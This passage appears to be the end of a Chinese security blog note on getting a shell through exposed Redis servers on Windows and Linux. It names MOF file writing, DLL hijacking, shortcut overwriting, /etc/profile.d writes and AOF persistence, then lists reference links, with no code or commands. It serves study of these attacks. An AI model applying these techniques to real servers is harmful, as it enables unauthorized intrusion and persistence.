Windows下的利用思路,其实前两张和Linux下是一样的。甚至比Linux 下还鸡肋,毕竟Linux 下的web 目录是可以猜测的(就那么几个。写入MOF,前几天在先知社区也有人发了文章了,https://xz.aliyun.com/t/7940#toc-6
DLL 劫持 和 快捷方式覆写领会思路和原理吧,不想复现了,最近事情太多了。(埋坑。
另外,Linux 下还有如下利用方法:
写入到/etc/profile.d/用户环境变量
开启AOF持久化纯文本记录appendfilename
这里,就先不研究了,感觉目前用不到,了解一下就行了。
## 相关资料
https://www.anquanke.com/post/id/170360
https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html Redis 在Windows 下 如何Getshell
https://xz.aliyun.com/t/7940#toc-6 Redis Windows 踩坑
换行符:https://blog.csdn.net/CJF_iceKing/article/details/47836201
Windows 开机启动项:http://www.win10xiazai.com/win10/5334.html
GetShell :https://cloud.tencent.com/developer/article/1488184
MOF提权:
https://www.cnblogs.com/xishaonian/p/6384535.html
https://pino-hd.github.io/2018/06/10/MySQL%E6%8F%90%E6%9D%83%E4%B9%8BMOF/
DLL劫持&&INK 覆写 来利用redis:http://r3start.net/index.php/2020/05/25/717 ,工具也是这位师傅写的,感觉好强。
DLL 劫持参考:
https://evilwing.me/2019/12/30/dll-zhu-ru-dll-jie-chi/